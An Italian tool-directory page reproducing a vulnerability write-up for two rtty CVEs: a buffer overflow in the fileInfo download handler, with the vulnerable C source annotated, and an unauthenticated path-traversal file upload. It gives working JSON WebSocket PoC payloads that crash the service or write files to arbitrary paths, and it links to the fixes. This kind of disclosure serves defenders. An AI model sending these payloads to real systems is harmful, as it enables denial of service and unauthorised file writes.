Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
rtty_CVE-2025-56708-CVE-2025-56709 — Dettagli sulle vulnerabilità CVE-2025-56708 e CVE-2025-56709 | Kitploit
Strumenti/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebConfigurazione ErrataBinary Exploitation
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

Dettagli sulle vulnerabilità CVE-2025-56708 e CVE-2025-56709

Vedi Repository
3211 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-56708 e CVE-2025-56709

【CVE-2025-56709】 Buffer Overflow in savepath

Panoramica della vulnerabilità

Nelle versioni di rtty <=v9.0.0, il metodo fileinfo presenta una vulnerabilità di overflow che causa la scrittura continua di dati nella variabile globale savepath, innescando un buffer overflow.

Analisi della vulnerabilità

savepath può essere scritta continuamente, causando overflow

  • 【1】Si può vedere che name utilizza di fatto lo spazio di memoria di savepath
  • 【2】Se il controllo del mount non viene superato, si entra nel flusso
check_space_fail
  • 【3】Il flusso porta a un fallimento, ma buffer_pull continua ad aggiungere dati nello spazio di name, cioè savepath
  • root@kitploit:~
    static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
    {
        char *name = savepath + strlen(savepath);【1】
        struct mntent *ment;
        struct statvfs sfs;
        char buf[512];
        int fd;
    
        ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);
    
        ment = find_mount_point(savepath);
        if (ment) {
            uint64_t avail;
    
            if (!strcmp(ment->mnt_type, "ramfs")) {
                struct sysinfo si;
    
                if (sysinfo(&si)) {
                    log_err("download file fail: '%s'\n", strerror(errno));
                    goto check_space_fail;
                }
    
                avail = si.freeram;
            } else if (!statvfs(ment->mnt_dir, &sfs)) {
                avail = sfs.f_bavail * sfs.f_frsize;
            } else {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }
    
            if (ctx->total_size > avail) {
                log_err("download file fail: no enough space\n");
                goto check_space_fail;
            }
        } else {
            log_err("download file fail: not found mount point of '%s'\n", savepath);
            goto check_space_fail;【2】
        }
    
        buffer_pull(info, name, len - 4);
    
        if (!access(savepath, F_OK)) {
            send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
            log_err("the file '%s' already exists\n", name);
            goto open_fail;
        }
    
        fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
        if (fd < 0) {
            send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
            log_err("create file '%s' fail: %s\n", name, strerror(errno));
            goto open_fail;
        }
    
        log_info("download file: %s, size: %u\n", savepath, ctx->total_size);
    
        if (fchown(fd, ctx->uid, ctx->gid) < 0)
            log_err("fchown %s fail: %s\n", savepath, strerror(errno));
    
        if (ctx->total_size == 0)
            close(fd);
        else
            ctx->fd = fd;
    
        memcpy(buf, &ctx->total_size, 4);
        strcpy(buf + 4, name);
    
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));
    
        return;
    
    check_space_fail:
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
        buffer_pull(info, name, len - 4);【3】
        
    open_fail:
        file_context_reset(ctx);
    }
    

    POC della vulnerabilità

    • Utilizzando WebSocket per inviare continuamente dati, è possibile mandare in crash il servizio (potenzialmente anche RCE)
    root@kitploit:~
    {"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}
    

    Correzione della vulnerabilità

    https://github.com/zhaojh329/rtty/issues/139

    【CVE-2025-56708】 Caricamento file non autorizzato

    Panoramica della vulnerabilità

    Le versioni di rtty <=v9.0.0 presentano una vulnerabilità di path traversal. Nel protocollo di interazione, il metodo fileinfo ha un bug logico che permette a un attaccante di dirottare il WebSocket e invocare il metodo fileinfo, caricando file in qualsiasi percorso del sistema senza necessità di autenticazione.

    POC della vulnerabilità

    • Dirottando il flusso del programma WebSocket, è possibile, attraverso il metodo fileInfo, caricare file in qualsiasi directory del sistema senza che l'utente sia loggato.
    • Specifica della directory di mount
    root@kitploit:~
    {"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
    
    • Specifica del file
    root@kitploit:~
    {"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
    
    • Il file viene generato sul server 漏洞示意图

    Correzione della vulnerabilità

    https://github.com/zhaojh329/rtty/issues/140

    Scarica lo strumento